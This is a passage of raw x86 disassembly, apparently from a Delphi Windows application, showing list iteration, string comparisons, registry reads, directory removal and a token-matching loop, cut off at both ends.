mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x908]
lea edx, [ebp - 0x904]
call fcn.0042d868
mov edx, dword [ebp - 0x904]
mov eax, dword [0x5d4850]
mov eax, dword [eax]
mov eax, dword [eax + 0x364]
mov eax, dword [eax + 0x284]
mov ecx, dword [eax]
call dword [ecx + 0x38]
inc dword [ebp - 0x54c]
dec dword [ebp - 0x668]
jne 0x596a14
mov dword [ebp - 0x550], 1
mov eax, dword [0x5d4850]
mov eax, dword [eax]
mov eax, dword [eax + 0x364]
mov eax, dword [eax + 0x284]
mov edx, dword [eax]
call dword [edx + 0x14]
test eax, eax
jle 0x596ba5
mov dword [ebp - 0x668], eax
mov dword [ebp - 0x54c], 1
lea ecx, [ebp - 0x90c]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [0x5d4850]
mov eax, dword [eax]
mov eax, dword [eax + 0x364]
mov eax, dword [eax + 0x284]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x90c]
mov edx, dword [0x5dbd58]
call fcn.0040aaec
test eax, eax
jne 0x596ae9
mov eax, dword [ebp - 0x54c]
mov dword [ebp - 0x550], eax
lea ecx, [ebp - 0x910]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [0x5d4850]
mov eax, dword [eax]
mov eax, dword [eax + 0x364]
mov eax, dword [eax + 0x284]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x910]
push eax
mov dl, 1
mov al, 1
call fcn.004b04ec
lea edx, [ebp - 0x914]
call fcn.004afbbc
mov edx, dword [ebp - 0x914]
pop eax
call fcn.0040aaec
test eax, eax
jne 0x596b57
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [0x5d4850]
mov eax, dword [eax]
mov eax, dword [eax + 0x364]
mov ecx, dword [eax]
call dword [ecx + 0xe0]
jmp 0x596ba5
mov eax, dword [0x5d4850]
mov eax, dword [eax]
mov eax, dword [eax + 0x364]
mov eax, dword [eax + 0x284]
mov edx, dword [eax]
call dword [edx + 0x14]
cmp eax, dword [ebp - 0x54c]
jne 0x596b93
mov edx, dword [ebp - 0x550]
dec edx
mov eax, dword [0x5d4850]
mov eax, dword [eax]
mov eax, dword [eax + 0x364]
mov ecx, dword [eax]
call dword [ecx + 0xe0]
inc dword [ebp - 0x54c]
dec dword [ebp - 0x668]
jne 0x596aa3
cmp byte [0x5dbcf4], 0
jne 0x596be4
mov eax, dword [0x5d4850]
mov eax, dword [eax]
mov edx, dword [eax]
call dword [edx + 0xfc]
cmp eax, 2
jne 0x596be4
mov eax, dword [0x5d4850]
mov eax, dword [eax]
call fcn.00404b38
push ebp
mov al, 1
call fcn.005940c0
pop ecx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5ad03a
mov eax, dword [0x5d4850]
mov eax, dword [eax]
mov eax, dword [eax + 0x364]
mov edx, dword [eax]
call dword [edx + 0xdc]
mov edx, eax
lea ecx, [ebp - 0x918]
mov eax, dword [0x5d4850]
mov eax, dword [eax]
mov eax, dword [eax + 0x364]
mov eax, dword [eax + 0x284]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x918]
mov eax, 0x5dbd5c
call fcn.00405aec
mov eax, dword [0x5d4850]
mov eax, dword [eax]
call fcn.00404b38
lea edx, [ebp - 0x91c]
mov eax, 0x5add84
call fcn.0058fff8
mov eax, dword [ebp - 0x91c]
call fcn.005936d4
test al, al
jne 0x596cb5
lea edx, [ebp - 0x928]
mov eax, dword [ebp + 8]
call fcn.0040bbcc
mov eax, dword [ebp - 0x928]
lea edx, [ebp - 0x924]
call fcn.00589dcc
push dword [ebp - 0x924]
lea edx, [ebp - 0x92c]
mov eax, dword [ebp + 8]
call fcn.00589d2c
push dword [ebp - 0x92c]
push 0x5ad7d8
lea eax, [ebp - 0x920]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x920]
call fcn.0040b8f0
test al, al
je 0x596d95
mov eax, dword [ebp + 8]
call fcn.0058f038
lea edx, [ebp - 0x3c0]
call fcn.0058f120
cmp dword [0x5dbd74], 3
jne 0x596cf4
push dword [ebp - 0x3c0]
push dword [0x5dbd14]
push 0x5adc64
lea eax, [ebp - 0x3c0]
mov edx, 3
call fcn.00405e2c
jmp 0x596d15
push dword [ebp - 0x3c0]
push dword [0x5dbd10]
push 0x5adc64
lea eax, [ebp - 0x3c0]
mov edx, 3
call fcn.00405e2c
push dword [ebp - 0x3c0]
lea edx, [ebp - 0x930]
mov eax, dword [ebp + 8]
call fcn.00589d2c
push dword [ebp - 0x930]
push 0x5add98
lea eax, [ebp - 0x3c0]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x3c0]
call fcn.0040b8f0
test al, al
je 0x596d95
mov edx, dword [ebp - 0x3c0]
lea eax, [ebp - 0x3a8]
call fcn.004039a4
lea eax, [ebp - 0x3a8]
call fcn.00403728
mov edx, 0x5dbd5c
lea eax, [ebp - 0x3a8]
call fcn.00403f9c
lea eax, [ebp - 0x3a8]
call fcn.00404008
lea eax, [ebp - 0x3a8]
call fcn.00403b4c
mov ecx, 0x5ad81c
mov edx, dword [0x5dbd5c]
mov eax, 0x5adce4
call fcn.0059002c
mov eax, dword [ebp - 0x630]
call fcn.00404b38
mov eax, dword [0x5dbd8c]
mov edx, dword [eax]
call dword [edx + 0x14]
test eax, eax
jle 0x5acf48
mov dword [ebp - 0x668], eax
mov dword [ebp - 0x54c], 1
mov eax, dword [ebp - 0x54c]
dec eax
and eax, 0x80000001
jns 0x596dea
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
jne 0x596ed7
lea ecx, [ebp - 0x938]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [0x5dbd8c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x938]
lea edx, [ebp - 0x934]
call fcn.0040abac
mov eax, dword [ebp - 0x934]
call fcn.005af6a8
test al, al
je 0x596e81
lea ecx, [ebp - 0x93c]
mov edx, dword [ebp - 0x54c]
mov eax, dword [0x5dbd8c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x93c]
push eax
lea ecx, [ebp - 0x944]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [0x5dbd8c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x944]
lea edx, [ebp - 0x940]
call fcn.0040abac
mov eax, dword [ebp - 0x940]
mov ecx, 0x5adda8
pop edx
call fcn.00590064
jmp 0x596ed7
lea ecx, [ebp - 0x948]
mov edx, dword [ebp - 0x54c]
mov eax, dword [0x5dbd8c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x948]
push eax
lea ecx, [ebp - 0x950]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [0x5dbd8c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x950]
lea edx, [ebp - 0x94c]
call fcn.0040abac
mov eax, dword [ebp - 0x94c]
mov ecx, 0x5adda8
pop edx
call fcn.0059002c
inc dword [ebp - 0x54c]
dec dword [ebp - 0x668]
jne 0x596dd7
jmp 0x5acf48
mov eax, dword [ebp - 0x534]
mov ecx, 0x13a
cdq
idiv ecx
test edx, edx
jne 0x596f0c
mov eax, dword [0x5d4d78]
mov eax, dword [eax]
call fcn.00485f60
lea edx, [ebp - 0x954]
mov eax, 0x5ada70
call fcn.0058fff8
mov edx, dword [ebp - 0x954]
mov eax, 0x5dbcf8
call fcn.00405aec
lea edx, [ebp - 0x958]
mov eax, 0x5ada60
call fcn.0058fff8
mov eax, dword [ebp - 0x958]
call fcn.005936d4
mov byte [0x5dbcf4], al
lea edx, [ebp - 0x95c]
mov eax, 0x5adb78
call fcn.0058fff8
mov edx, dword [ebp - 0x95c]
mov eax, dword [0x5d4fc4]
call fcn.00405aec
lea edx, [ebp - 0x960]
mov eax, 0x5ad8f4
call fcn.0058fff8
mov eax, dword [ebp - 0x960]
mov edx, 0x5ad834
call fcn.00405ec0
mov eax, dword [0x5d4bac]
sete byte [eax]
lea edx, [ebp - 0x964]
mov eax, 0x5ad8dc
call fcn.0058fff8
cmp dword [ebp - 0x964], 0
je 0x5970f8
lea edx, [ebp - 0x968]
mov eax, 0x5ad8dc
call fcn.0058fff8
mov edx, dword [ebp - 0x968]
mov eax, dword [0x5dbda8]
call fcn.00405ec0
je 0x5970f8
mov dl, 1
mov eax, dword [0x41c748]
call fcn.00404b08
mov dword [ebp - 0x664], eax
push ebp
lea edx, [ebp - 0x970]
mov eax, 0x5ad8dc
call fcn.0058fff8
mov eax, dword [ebp - 0x970]
lea edx, [ebp - 0x96c]
call fcn.00589dcc
mov eax, dword [ebp - 0x96c]
mov edx, dword [ebp - 0x664]
call fcn.00594f54
pop ecx
test al, al
je 0x5970d2
lea edx, [ebp - 0x978]
mov eax, 0x5ad8dc
call fcn.0058fff8
mov eax, dword [ebp - 0x978]
lea edx, [ebp - 0x974]
call fcn.00589dcc
mov edx, dword [ebp - 0x974]
mov ecx, 0x5adda8
mov eax, 0x5ad8dc
call fcn.00590064
push ebp
call fcn.00594180
pop ecx
lea edx, [ebp - 0x97c]
mov eax, 0x5ad8dc
call fcn.0058fff8
mov edx, dword [ebp - 0x97c]
mov eax, 0x5dbda8
call fcn.00405aec
mov eax, dword [ebp - 0x664]
mov edx, dword [eax]
call dword [edx + 0x14]
cmp eax, 1
jl 0x5970ed
mov dword [ebp - 0x54c], eax
lea ecx, [ebp - 0x980]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x664]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x980]
call fcn.00405f28
push eax
call sub.kernel32.dll_RemoveDirectoryA
dec dword [ebp - 0x54c]
cmp dword [ebp - 0x54c], 0
jne 0x597098
jmp 0x5970ed
mov ecx, 0x5addd0
xor edx, edx
mov eax, 0x5ad8dc
call fcn.00590064
mov eax, 0x5dbda8
call fcn.00405a98
mov eax, dword [ebp - 0x664]
call fcn.00404b38
call fcn.0040d2a8
fstp qword [ebp - 0x6e8]
wait
push dword [ebp - 0x6e4]
push dword [ebp - 0x6e8]
mov edx, dword [0x5d49f4]
mov edx, dword [edx]
lea eax, [ebp - 0x458]
call fcn.0040df08
mov ecx, 0x5ad81c
mov edx, dword [ebp - 0x458]
mov eax, 0x5adbac
call fcn.0059002c
call fcn.0040d2d4
fstp qword [ebp - 0x6f0]
wait
push dword [ebp - 0x6ec]
push dword [ebp - 0x6f0]
mov edx, dword [0x5d4cec]
mov edx, dword [edx]
lea eax, [ebp - 0x45c]
call fcn.0040df08
mov ecx, 0x5ad81c
mov edx, dword [ebp - 0x45c]
mov eax, 0x5adbbc
call fcn.0059002c
xor eax, eax
push ebp
push 0x5972ed
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x984]
mov eax, 0x5adce4
call fcn.0058fff8
mov edx, dword [ebp - 0x984]
mov eax, 0x5dbd5c
call fcn.00405aec
cmp dword [0x5dbd5c], 0
je 0x5972e3
mov eax, dword [0x5dbd5c]
mov edx, dword [0x5dbd60]
call fcn.00405ec0
je 0x5972e3
mov eax, 0x5dbd60
mov edx, dword [0x5dbd5c]
call fcn.00405aec
lea eax, [ebp - 0x988]
mov ecx, 0x5add20
mov edx, dword [0x5dbd24]
call fcn.00405db0
mov edx, dword [ebp - 0x988]
mov eax, dword [0x5dbd64]
mov ecx, dword [eax]
call dword [ecx + 0x68]
push dword [0x5dbd24]
push 0x5add6c
push dword [0x5dbd5c]
lea eax, [ebp - 0x98c]
mov edx, 3
call fcn.00405e2c
mov edx, dword [ebp - 0x98c]
mov eax, dword [0x5dbd68]
mov ecx, dword [eax]
call dword [ecx + 0x68]
lea eax, [ebp - 0x990]
mov ecx, 0x5add3c
mov edx, dword [0x5dbd24]
call fcn.00405db0
mov edx, dword [ebp - 0x990]
mov eax, dword [0x5dbd70]
mov ecx, dword [eax]
call dword [ecx + 0x68]
push dword [0x5dbd24]
push dword [0x5dbd18]
push 0x5adcf8
lea eax, [ebp - 0x994]
mov edx, 3
call fcn.00405e2c
mov edx, dword [ebp - 0x994]
mov eax, dword [0x5dbd6c]
mov ecx, dword [eax]
call dword [ecx + 0x68]
push dword [0x5dbd24]
push 0x5addf0
push dword [0x5dbd5c]
lea eax, [ebp - 0x998]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x998]
call fcn.0040b8f0
test al, al
je 0x5972e3
push dword [0x5dbd24]
push 0x5addf0
push dword [0x5dbd5c]
lea eax, [ebp - 0x99c]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x99c]
call fcn.004b08e0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x597301
mov ecx, 0x5ad81c
mov edx, dword [0x5dbd5c]
mov eax, 0x5adce4
call fcn.0059002c
lea edx, [ebp - 0x9a0]
mov eax, 0x5ad780
call fcn.0058fff8
mov eax, dword [ebp - 0x9a0]
call fcn.005936d4
lea edx, [ebp - 0x3c0]
call fcn.0058f120
push dword [ebp - 0x3c0]
push dword [0x5dbd10]
push 0x5adc64
lea eax, [ebp - 0x3c0]
mov edx, 3
call fcn.00405e2c
lea edx, [ebp - 0x9a4]
mov eax, dword [ebp + 8]
call fcn.00589d2c
mov eax, dword [ebp - 0x9a4]
push eax
lea edx, [ebp - 0x9ac]
mov eax, dword [ebp + 8]
call fcn.0040bbcc
mov eax, dword [ebp - 0x9ac]
lea edx, [ebp - 0x9a8]
call fcn.00589dcc
mov edx, dword [ebp - 0x9a8]
lea eax, [ebp - 0x3c4]
pop ecx
call fcn.00405db0
cmp dword [0x5dbd74], 3
je 0x597410
lea edx, [ebp - 0x9b8]
xor eax, eax
call fcn.00412bb0
mov eax, dword [ebp - 0x9b8]
lea edx, [ebp - 0x9b4]
call fcn.0040bcb8
mov ecx, dword [ebp - 0x9b4]
lea eax, [ebp - 0x9b0]
mov edx, dword [ebp - 0x3c0]
call fcn.00405db0
mov edx, dword [ebp - 0x9b0]
mov ecx, 0x5ad81c
mov eax, 0x5ade10
call fcn.0059002c
mov ecx, 0x5ad81c
mov edx, dword [ebp - 0x3c0]
mov eax, 0x5ade28
call fcn.0059002c
jmp 0x5975c8
xor eax, eax
push ebp
push 0x597567
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x43077c]
call fcn.004308e8
mov dword [ebp - 0x53c], eax
lea edx, [ebp - 0x9bc]
mov eax, 0x5ad780
call fcn.0058fff8
mov eax, dword [ebp - 0x9bc]
call fcn.005936d4
test al, al
je 0x597461
mov edx, 0x80000002
mov eax, dword [ebp - 0x53c]
call fcn.004309c4
jmp 0x597471
mov edx, 0x80000001
mov eax, dword [ebp - 0x53c]
call fcn.004309c4
mov eax, dword [0x5d5110]
cmp dword [eax], 1
jne 0x59748b
mov edx, 0x80000002
mov eax, dword [ebp - 0x53c]
call fcn.004309c4
mov eax, dword [ebp - 0x53c]
mov dword [eax + 0x18], 0x20019
lea edx, [ebp - 0x9c4]
mov eax, 0x5adb78
call fcn.0058fff8
mov ecx, dword [ebp - 0x9c4]
lea eax, [ebp - 0x9c0]
mov edx, 0x5adc00
call fcn.00405db0
mov edx, dword [ebp - 0x9c0]
xor ecx, ecx
mov eax, dword [ebp - 0x53c]
call fcn.00430a2c
lea ecx, [ebp - 0x3c0]
mov edx, 0x5adc40
mov eax, dword [ebp - 0x53c]
call fcn.00431090
mov edx, dword [ebp - 0x3c0]
mov eax, 0x5adc58
call fcn.0041038c
mov edx, eax
lea eax, [ebp - 0x3c0]
mov ecx, 1
call fcn.00405fd0
mov eax, dword [ebp - 0x3c0]
mov dword [ebp - 0x6f4], eax
cmp dword [ebp - 0x6f4], 0
je 0x59752f
mov eax, dword [ebp - 0x6f4]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x6f4], eax
mov edx, dword [ebp - 0x3c0]
mov eax, 0x5adc58
call fcn.0041038c
mov edx, eax
lea eax, [ebp - 0x3c0]
mov ecx, dword [ebp - 0x6f4]
call fcn.00405fd0
mov eax, dword [ebp - 0x53c]
call fcn.00404b38
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x59757c
mov ecx, 0x5ad81c
mov edx, dword [ebp - 0x3c0]
mov eax, 0x5ade10
call fcn.0059002c
lea edx, [ebp - 0x9cc]
mov eax, dword [ebp - 0x3c0]
call fcn.0040bbcc
mov eax, dword [ebp - 0x9cc]
lea edx, [ebp - 0x9c8]
call fcn.00589dcc
mov edx, dword [ebp - 0x9c8]
mov ecx, 0x5ad81c
mov eax, 0x5ade28
call fcn.0059002c
cmp byte [ebp - 0x583], 0
je 0x5977f3
xor eax, eax
mov dword [ebp - 0x54c], eax
inc dword [ebp - 0x534]
lea ecx, [ebp - 0x438]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x520]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov byte [ebp - 0x57d], 0
mov eax, dword [ebp - 0x438]
mov edx, 0x5ade3c
call fcn.00405ec0
je 0x597626
mov eax, dword [ebp - 0x438]
mov edx, 0x5ade48
call fcn.00405ec0
jne 0x59766f
lea ecx, [ebp - 0x9d0]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x528]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x9d0]
mov edx, 0x5ade5c
call fcn.00405ec0
je 0x59766f
mov eax, dword [ebp - 0x438]
mov edx, 0x5ade68
call fcn.00405ec0
je 0x59766f
inc dword [ebp - 0x54c]
mov byte [ebp - 0x57d], 1
mov eax, dword [ebp - 0x438]
mov edx, 0x5ade78
call fcn.00405ec0
jne 0x5976d3
lea ecx, [ebp - 0x9d4]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x528]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x9d4]
mov edx, 0x5ade5c
call fcn.00405ec0
je 0x5976d3
mov eax, dword [ebp - 0x438]
mov edx, 0x5ade68
call fcn.00405ec0
je 0x5976d3
dec dword [ebp - 0x54c]
cmp dword [ebp - 0x54c], 0
jl 0x5976d3
mov byte [ebp - 0x57d], 1
mov eax, dword [ebp - 0x438]
mov edx, 0x5ade84
call fcn.00405ec0
je 0x59770d
mov eax, dword [ebp - 0x438]
mov edx, 0x5ade94
call fcn.00405ec0
je 0x59770d
mov eax, dword [ebp - 0x438]
mov edx, 0x5ade78
call fcn.00405ec0
jne 0x5975dd
cmp dword [ebp - 0x54c], 0
jg 0x5975dd
cmp byte [ebp - 0x57d], 0
jne 0x5975dd
cmp dword [ebp - 0x528], 0
je 0x59775e
lea ecx, [ebp - 0x9d8]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x528]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x9d8]
mov edx, 0x5ade5c
call fcn.00405ec0
je 0x5975dd
mov eax, dword [ebp - 0x438]
mov edx, 0x5ade68
call fcn.00405ec0
je 0x5975dd
mov byte [ebp - 0x583], 0
mov eax, dword [ebp - 0x438]
mov edx, 0x5ade94
call fcn.00405ec0
jne 0x5977bc
cmp byte [ebp - 0x584], 0
jne 0x5977f3
dec dword [ebp - 0x534]
lea ecx, [ebp - 0x438]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x520]
mov ebx, dword [eax]
call dword [ebx + 0xc]
dec dword [ebp - 0x58c]
jmp 0x5977f3
mov eax, dword [ebp - 0x438]
mov edx, 0x5ade78
call fcn.00405ec0
jne 0x5977f3
dec dword [ebp - 0x534]
lea ecx, [ebp - 0x438]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x520]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov byte [ebp - 0x585], 1
cmp byte [ebp - 0x584], 0
je 0x5979a7
xor eax, eax
mov dword [ebp - 0x54c], eax
inc dword [ebp - 0x534]
lea ecx, [ebp - 0x438]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x520]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov byte [ebp - 0x57d], 0
mov eax, dword [ebp - 0x438]
mov edx, 0x5ade3c
call fcn.00405ec0
je 0x597851
mov eax, dword [ebp - 0x438]
mov edx, 0x5ade48
call fcn.00405ec0
jne 0x59789a
lea ecx, [ebp - 0x9dc]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x528]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x9dc]
mov edx, 0x5ade5c
call fcn.00405ec0
je 0x59789a
mov eax, dword [ebp - 0x438]
mov edx, 0x5ade68
call fcn.00405ec0
je 0x59789a
inc dword [ebp - 0x54c]
mov byte [ebp - 0x57d], 1
mov eax, dword [ebp - 0x438]
mov edx, 0x5ade78
call fcn.00405ec0
jne 0x5978fe
lea ecx, [ebp - 0x9e0]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x528]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x9e0]
mov edx, 0x5ade5c
call fcn.00405ec0
je 0x5978fe
mov eax, dword [ebp - 0x438]
mov edx, 0x5ade68
call fcn.00405ec0
je 0x5978fe
dec dword [ebp - 0x54c]
cmp dword [ebp - 0x54c], 0
jl 0x5978fe
mov byte [ebp - 0x57d], 1
mov eax, dword [ebp - 0x438]
mov edx, 0x5ade78
call fcn.00405ec0
jne 0x597808
cmp dword [ebp - 0x54c], 0
jg 0x597808
cmp byte [ebp - 0x57d], 0
jne 0x597808
cmp dword [ebp - 0x528], 0
je 0x597965
lea ecx, [ebp - 0x9e4]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x528]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x9e4]
mov edx, 0x5ade5c
call fcn.00405ec0
je 0x597808
mov eax, dword [ebp - 0x438]
mov edx, 0x5ade68
call fcn.00405ec0
je 0x597808
mov byte [ebp - 0x584], 0
dec dword [ebp - 0x534]
lea ecx, [ebp - 0x438]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x520]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov byte [ebp - 0x585], 1
cmp byte [ebp - 0x58d], 0
jne 0x597a2f
inc dword [ebp - 0x534]
lea ecx, [ebp - 0x438]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x520]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x520]
mov edx, dword [eax]
call dword [edx + 0x14]
cmp eax, dword [ebp - 0x534]
jle 0x597d80
cmp dword [ebp - 0x528], 0
je 0x597a18
lea ecx, [ebp - 0x9e8]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x528]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x9e8]
mov edx, 0x5ade5c
call fcn.00405ec0
je 0x5979b0
mov eax, dword [ebp - 0x438]
mov edx, 0x5ade68
call fcn.00405ec0
je 0x5979b0
jmp 0x597d80
mov eax, dword [ebp - 0x594]
add dword [ebp - 0x598], eax
cmp dword [ebp - 0x598], 0
jne 0x597a4e
mov dword [ebp - 0x598], 1
mov eax, dword [ebp - 0x1dc]
mov edx, dword [eax]
call dword [edx + 0x14]
cmp eax, dword [ebp - 0x598]
jge 0x597a72
mov eax, dword [ebp - 0x1dc]
mov edx, dword [eax]
call dword [edx + 0x14]
mov dword [ebp - 0x598], eax
cmp dword [ebp - 0x594], 1
jne 0x597a8a
mov dword [ebp - 0x54c], 1
jmp 0x597b48
cmp dword [ebp - 0x594], 0xffffffff
jne 0x597aa2
mov dword [ebp - 0x54c], 0xffffffff
jmp 0x597b48
inc dword [ebp - 0x534]
lea ecx, [ebp - 0x438]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x520]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x438]
mov edx, 0x5ade78
call fcn.00405ec0
jne 0x597aa2
cmp dword [ebp - 0x528], 0
je 0x597b05
lea ecx, [ebp - 0x9ec]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x528]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x9ec]
mov edx, 0x5ade5c
call fcn.00405ec0
je 0x597aa2
mov eax, dword [ebp - 0x438]
mov edx, 0x5ade68
call fcn.00405ec0
je 0x597aa2
mov byte [ebp - 0x58d], 0
mov byte [ebp - 0x58e], 1
dec dword [ebp - 0x534]
lea ecx, [ebp - 0x438]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x520]
mov ebx, dword [eax]
call dword [ebx + 0xc]
jmp 0x5acf48
mov eax, dword [ebp - 0x54c]
add dword [ebp - 0x534], eax
lea ecx, [ebp - 0x438]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x520]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x438]
mov edx, 0x5adea4
call fcn.00405ec0
je 0x597ba2
mov eax, dword [ebp - 0x438]
mov edx, 0x5ade48
call fcn.00405ec0
je 0x597ba2
mov eax, dword [ebp - 0x438]
mov edx, 0x5ade78
call fcn.00405ec0
jne 0x597b48
cmp dword [ebp - 0x528], 0
je 0x597bd9
lea ecx, [ebp - 0x9f0]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x528]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x9f0]
mov edx, 0x5ade5c
call fcn.00405ec0
je 0x597b48
mov eax, dword [ebp - 0x438]
mov edx, 0x5ade68
call fcn.00405ec0
je 0x597b48
mov eax, dword [ebp - 0x438]
mov edx, 0x5ade78
call fcn.00405ec0
jne 0x597c77
cmp dword [ebp - 0x528], 0
je 0x597c34
lea ecx, [ebp - 0x9f4]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x528]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x9f4]
mov edx, 0x5ade5c
call fcn.00405ec0
je 0x597c77
mov eax, dword [ebp - 0x438]
mov edx, 0x5ade68
call fcn.00405ec0
je 0x597c77
mov byte [ebp - 0x58d], 0
mov byte [ebp - 0x58e], 1
dec dword [ebp - 0x534]
lea ecx, [ebp - 0x438]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x520]
mov ebx, dword [eax]
call dword [ebx + 0xc]
jmp 0x5acf48
mov eax, dword [ebp - 0x438]
mov edx, 0x5ade48
call fcn.00405ec0
jne 0x597d80
cmp dword [ebp - 0x528], 0
je 0x597cc4
lea ecx, [ebp - 0x9f8]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x528]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x9f8]
mov edx, 0x5ade5c
call fcn.00405ec0
je 0x597d80
mov eax, dword [ebp - 0x438]
mov edx, 0x5ade68
call fcn.00405ec0
je 0x597d80
inc dword [ebp - 0x534]
lea ecx, [ebp - 0x438]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x520]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x438]
mov edx, 0x5ade78
call fcn.00405ec0
jne 0x597cda
cmp dword [ebp - 0x528], 0
je 0x597d3d
lea ecx, [ebp - 0x9fc]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x528]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x9fc]
mov edx, 0x5ade5c
call fcn.00405ec0
je 0x597cda
mov eax, dword [ebp - 0x438]
mov edx, 0x5ade68
call fcn.00405ec0
je 0x597cda
mov byte [ebp - 0x58d], 0
mov byte [ebp - 0x58e], 1
dec dword [ebp - 0x534]
lea ecx, [ebp - 0x438]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x520]
mov ebx, dword [eax]
call dword [ebx + 0xc]
jmp 0x5acf48
mov eax, dword [ebp - 0x520]
mov edx, dword [eax]
call dword [edx + 0x14]
cmp eax, dword [ebp - 0x534]
jl 0x5acf5f
lea ecx, [ebp - 0xa00]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x528]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0xa00]
mov edx, 0x5ade5c
call fcn.00405ec0
je 0x5acf48
call fcn.005b3ad4
inc eax
jne 0x597de3
mov ecx, 0x5adebc
mov edx, 0x5ad834
mov eax, 0x5ad984
call fcn.00590064
jmp 0x597df7
mov ecx, 0x5adebc
mov edx, 0x5ad6f8
mov eax, 0x5ad984
call fcn.00590064
cmp dword [0x5dbcc4], 0
je 0x597ee1
mov byte [ebp - 0x625], 0
lea edx, [ebp - 0xa04]
mov eax, 0x5ad954
call fcn.0058fff8
mov edx, dword [ebp - 0xa04]
mov eax, dword [ebp - 0x40c]
call fcn.00405ec0
je 0x597e45
mov byte [ebp - 0x625], 1
lea edx, [ebp - 0x40c]
mov eax, 0x5ad954
call fcn.0058fff8
lea edx, [ebp - 0xa08]
mov eax, 0x5ad994
call fcn.0058fff8
mov eax, dword [ebp - 0xa08]
call fcn.0040b328
cmp eax, dword [ebp - 0x62c]
je 0x597e90
